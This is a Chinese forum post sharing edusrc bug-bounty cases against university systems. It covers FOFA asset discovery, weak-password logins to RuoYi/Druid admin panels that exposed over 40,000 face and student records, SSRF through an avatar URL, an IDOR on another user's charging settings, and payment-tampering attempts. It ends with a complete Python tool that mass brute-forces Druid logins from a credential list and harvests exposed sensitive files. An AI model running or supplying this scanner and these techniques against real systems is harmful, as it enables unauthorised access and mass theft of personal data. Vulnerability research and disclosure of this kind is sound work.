找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

5332

积分

0

好友

735

主题
发表于 3 小时前 | 查看: 5| 回复: 0

分享几个实际挖到的 edusrc 案例,从信息收集到漏洞利用,涉及弱口令、越权、SSRF、支付漏洞等,适合新手参考。

案例1:Druid弱口令 -> 人脸信息泄露

信息收集

使用 FOFA 进行资产测绘,语法如下:

(icon_hash=="706913071" || body="/ruoyi/css/ry-ui.css") && host="edu.cn"

FOFA搜索结果 - 资产测绘语法

将资产导出后,用自写脚本批量检测 Druid 登录页及弱口令(脚本附后)。

批量扫描结果 - 发现Druid登录页与弱口令

成功找到一个 Druid 弱口令:ruoyi/123456

Druid Monitor后台 - 登录成功

一般情况下,有 Druid 弱口令的站点,配套的 RuoYi 后台也可能存在弱口令。

深入测试

删除路径后直接访问登录页面:

RuoYi登录页面

尝试几个常用凭证后,成功用 xxx/12345 进入后台。

初始页面为空,刷新后看到 4 万多条人脸信息,且拥有完全控制权限。

人脸管理系统首页

人脸信息列表 - 4万多条记录

分页统计 - 共47546条

增删改查全部可用。进一步探测接口,发现可导出数据。

导出数据 - 学生学号手机号等信息

成功泄露 4 万多条学生信息(学号、手机号等)。打包提交,获得 6 rank。漏洞已修复(效率很高)。

漏洞提交记录 - 高危6rank

修复后提示 - 账号已删除

404错误页 - 接口已关闭


案例2:SSRF + 越权修改 + 支付漏洞

发现资产

输入学校名称,发现一个包含“充电”关键词的小程序,怀疑存在支付类漏洞。

资产发现 - 充电相关小程序

SSRF

登录小程序,挂上 Burp Suite,抓取数据包。发现一个修改头像(icon)的接口,参数值原本是 http://xxx/xx.jpg

Burp请求包 - 修改icon

请求详情 - icon参数

将值改为 DNSLog 地址后发包,成功触发 DNS 请求,确认存在 SSRF。

DNSLog记录 - 收到回显

但探测内网失败。原本 edusrc 收这类 SSRF,但近期因危害不足被忽略。

越权修改充电保护

在个人中心点击“设置”,进入安全防护页面,可开启充电保护开关并设置自动停充电量上限。

设置页 - 充电智能停充保护

充电保护开关与上限设置

打开开关,设上限为 50,保存并抓包。

抓包 - 保存请求

重放后查看效果。

重放结果 - 修改成功

数据包中有 memberid 字段,与用户关联。

翻译 - memberid即会员ID

注册另一个账号,同样进入安全防护设置,发现 memberid 不同(547635 vs 之前账号的某值)。

第二个账号 - 会员ID不同

第二个账号的抓包 - memberid=547635

将第二个账号的 memberid 替换到第一个账号的重放数据包中并发送,成功修改。

越权修改成功 - 响应成功

刷新第二个账号页面,确认充电上限已被改为 50。

验证 - 上限已被修改

通过遍历 memberid 可修改所有用户的充电安全设置,影响正常充电。这类越权在嵌套功能中很常见,平时测试应多留意。

支付漏洞尝试

该小程序有充值功能。

充值页面 - 账户余额与卡券

参考支付漏洞测试点:

支付漏洞思维导图

先充值 0.019 元,付款 0.01 到账 0.01,正常。无法直接重置 0.019,需先充值 50 再改包,可算作支付拆分漏洞。尝试将金额改为 int 最大值,但因最大充值限制失败。

发现退款功能,测试并发退款,有审核机制且不支持并发。遍历其他用户退款,后端直接提示无权限。最终放弃。

退款记录 - 0.01元退款成功


附:Druid弱口令批量检测脚本(Python)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
RuoYi Druid 弱口令爆破 + 未授权访问批量检测POC(精准请求版)
基于实际抓包请求头重构,修正变量名错误
"""

import requests
import json
import argparse
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed

# ================== 配置区域 ==================
# 弱口令组合(按优先级排序)
弱口令组合 = [
    ("ruoyi", "123456"),
    ("admin", "123456"),
    ("admin", "admin"),
    ("admin", "admin123"),
    ("admin", "admin888"),
    ("ry", "123456"),
    ("druid", "druid"),
    ("druid", "123456"),
    ("root", "root123"),
    ("root", "123456"),
    ("guest", "guest"),
    ("test", "test"),
]

# Druid登录页可能存在的路径
登录页路径列表 = [
    "/druid/login.html",
    "/prod-api/druid/login.html",
    "/api/druid/login.html",
    "/druid/index.html",
    "/dev-api/druid/login.html",
    "/admin/druid/login.html",
    "/admin-api/druid/login.html",
]

敏感后缀 = ['.pdf', '.rar', '.zip', '.doc', '.docx', '.xls', '.xlsx', '.png', '.jpg', '.jpeg']

超时秒数 = 10
并发目标数 = 3
用户代理 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36"

绿色 = '\033[92m'
红色 = '\033[91m'
黄色 = '\033[93m'
重置 = '\033[0m'
# ============================================

def 探测登录页(基础网址):
    """找到第一个可访问的Druid登录页,返回(完整登录页URL, 路径)"""
    for 路径 in 登录页路径列表:
        完整网址 = urljoin(基础网址, 路径)
        try:
            resp = requests.get(完整网址, timeout=超时秒数, allow_redirects=False, headers={"User-Agent": 用户代理})
            if resp.status_code == 200 and "druid" in resp.text.lower():
                return 完整网址, 路径
        except:
            continue
    return None, None

def 构造提交接口(登录页路径):
    """
    根据登录页路径构造submitLogin接口路径
    例如 /prod-api/druid/login.html -> /prod-api/druid/submitLogin
    """
    if 登录页路径.endswith("login.html"):
        return 登录页路径.replace("login.html", "submitLogin")
    if 登录页路径.endswith("index.html"):
        return 登录页路径.replace("index.html", "submitLogin")
    # 兜底
    base_dir = 登录页路径.rsplit("/", 1)[0]
    return f"{base_dir}/submitLogin"

def 尝试登录(基础网址, 登录页路径, 用户名, 密码):
    """使用标准请求包格式尝试登录,返回(会话, 是否成功)"""
    登录页完整网址 = urljoin(基础网址, 登录页路径)
    提交接口路径 = 构造提交接口(登录页路径)
    提交完整网址 = urljoin(基础网址, 提交接口路径)

    sess = requests.Session()
    sess.headers.update({
        "User-Agent": 用户代理,
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "Origin": 基础网址,
        "Referer": 登录页完整网址,
        "Accept": "text/plain, */*; q=0.01",
        "Accept-Language": "zh-CN,zh;q=0.9",
    })

    # 先GET登录页获取cookie(如有需要)
    try:
        sess.get(登录页完整网址, timeout=超时秒数)
    except:
        pass

    data = f"loginUsername={用户名}&loginPassword={密码}"
    try:
        resp = sess.post(提交完整网址, data=data, timeout=超时秒数, allow_redirects=False)
        # 登录成功特征:302跳转到index.html 或 返回json success
        if resp.status_code == 302 and "index.html" in resp.headers.get("Location", ""):
            return sess, True
        if resp.status_code == 200:
            try:
                j = resp.json()
                if j.get("success") is True or j.get("code") == 200:
                    return sess, True
            except:
                if "success" in resp.text.lower():
                    return sess, True
        return sess, False
    except Exception as e:
        return sess, False

def 爆破弱口令(基础网址, 登录页路径):
    """按优先级爆破,返回(会话, 用户名, 密码)"""
    print(f"  
  • 开始爆破,共 {len(弱口令组合)} 组凭证")     for idx, (user, pwd) in enumerate(弱口令组合, 1):         print(f"      [尝试 {idx}/{len(弱口令组合)}] {user}/{pwd}")         sess, ok = 尝试登录(基础网址, 登录页路径, user, pwd)         if ok:             print(f"      {绿色}[成功] 凭证: {user}/{pwd}{重置}")             return sess, user, pwd     return None, None, None def 获取所有URI(会话, 基础网址):     """从 /druid/weburi.json 获取URI列表"""     接口路径 = urljoin(基础网址, "/druid/weburi.json")     try:         resp = 会话.get(接口路径, timeout=超时秒数)         if resp.status_code == 200:             data = resp.json()             if isinstance(data, list):                 return [item.get("URI") for item in data if item.get("URI")]             elif isinstance(data, dict) and "content" in data:                 return [item["URI"] for item in data["content"] if "URI" in item]     except:         pass     return [] def 检测敏感文件(会话, 基础网址, uri):     """检测单个URI是否未授权且为敏感文件"""     完整网址 = urljoin(基础网址, uri)     try:         head = 会话.head(完整网址, timeout=5, allow_redirects=True)         if head.status_code != 200:             return None         resp = 会话.get(完整网址, timeout=超时秒数, stream=True)         if resp.status_code == 200:             content_type = resp.headers.get("Content-Type", "").lower()             for ext in 敏感后缀:                 if 完整网址.lower().endswith(ext) or ext in content_type:                     return 完整网址             if "application/octet-stream" in content_type:                 return 完整网址             # 文本内容快速扫描关键词             if "text" in content_type:                 chunk = next(resp.iter_content(chunk_size=512), b'')                 if b'\xe8\xba\xab\xe4\xbb\xbd\xe8\xaf\x81' in chunk or b'\xe8\x80\x83\xe8\xaf\x95' in chunk:                     return 完整网址     except:         pass     return None def 扫描单个目标(目标, 结果列表, 锁):     if not 目标.startswith("http"):         目标 = "http://" + 目标     基础 = 目标.rstrip('/')     print(f"\n
  • 扫描: {基础}")     # 1. 探测登录页     登录页URL, 登录页路径 = 探测登录页(基础)     if not 登录页URL:         print(f"  {红色}[-] 未发现Druid登录页{重置}")         return     print(f"  {绿色}[+] 登录页: {登录页URL}{重置}")     # 2. 爆破弱口令     会话, 用户名, 密码 = 爆破弱口令(基础, 登录页路径)     if not 会话:         print(f"  {红色}[-] 弱口令爆破失败{重置}")         return     print(f"  {绿色}[+] 登录成功,凭证: {用户名}/{密码}{重置}")     # 3. 获取URI列表     uris = 获取所有URI(会话, 基础)     if not uris:         print(f"  {黄色}[!] 未获取到URI列表{重置}")         return     print(f"  [+] 获取到 {len(uris)} 个URI,检测未授权...")     # 4. 并发检测敏感文件     敏感文件 = []     with ThreadPoolExecutor(max_workers=10) as ex:         futures = {ex.submit(检测敏感文件, 会话, 基础, uri): uri for uri in uris}         for f in as_completed(futures):             url = f.result()             if url:                 敏感文件.append(url)                 print(f"    {绿色}[!!!] 敏感文件: {url}{重置}")     # 5. 记录结果     if 敏感文件:         with 锁:             结果列表.append({                 "目标": 基础,                 "登录页": 登录页URL,                 "凭证": f"{用户名}/{密码}",                 "文件列表": 敏感文件             })         print(f"  {绿色}✅ 漏洞确认,共 {len(敏感文件)} 个敏感文件{重置}")     else:         print(f"  {黄色}⚠️ 登录成功但未发现敏感文件{重置}") def main():     parser = argparse.ArgumentParser(description="RuoYi Druid 弱口令爆破+未授权(精准请求版)")     parser.add_argument("-f", "--file", required=True, help="目标列表文件")     parser.add_argument("-o", "--output", default="漏洞结果.txt", help="输出文件")     parser.add_argument("-t", "--threads", type=int, default=3, help="并发目标数")     args = parser.parse_args()     with open(args.file) as f:         targets = [line.strip() for line in f if line.strip()]     print(f"{绿色}
  • 共 {len(targets)} 个目标,弱口令组合 {len(弱口令组合)} 组{重置}")     results = []     import threading     lock = threading.Lock()     with ThreadPoolExecutor(max_workers=args.threads) as ex:         futures = {ex.submit(扫描单个目标, t, results, lock): t for t in targets}         for f in as_completed(futures):             try:                 f.result()             except Exception as e:                 target = futures[f]                 print(f"{红色}[!] 扫描 {target} 出错: {e}{重置}")     # 输出汇总     print("\n" + "="*60)     if results:         print(f"{绿色}✅ 发现 {len(results)} 个存在漏洞的目标{重置}")         with open(args.output, "w", encoding="utf-8") as out:             for r in results:                 out.write(f"目标: {r['目标']}\n")                 out.write(f"登录页: {r['登录页']} (凭证: {r['凭证']})\n")                 out.write("敏感文件:\n")                 for u in r['文件列表']:                     out.write(f"  {u}\n")                 out.write("\n")         print(f"详细结果已保存到 {args.output}")     else:         print(f"{红色}❌ 未发现任何漏洞目标{重置}") if __name__ == "__main__":     main()

  • 实战总结
    挖洞关键在于信息收集与细致测试。从 FOFA 测绘到弱口令爆破,再到功能点的越权、支付逻辑,每一步都需要耐心。云栈社区 的 安全漏洞挖掘资源 也提供了不少思路,配合工具可以更高效。




    上一篇:Linus Torvalds的Linux内核技术含量:从学生玩具到全球基石
    下一篇:GitHub镜像仓库(ghcr.io)Tag列表查看:三种方法
    您需要登录后才可以回帖 登录 | 立即注册

    手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

    GMT+8, 2026-4-22 21:42 , Processed in 0.623242 second(s), 39 queries , Gzip On.

    Powered by Discuz! X3.5

    © 2025-2026 云栈社区.

    快速回复 返回顶部 返回列表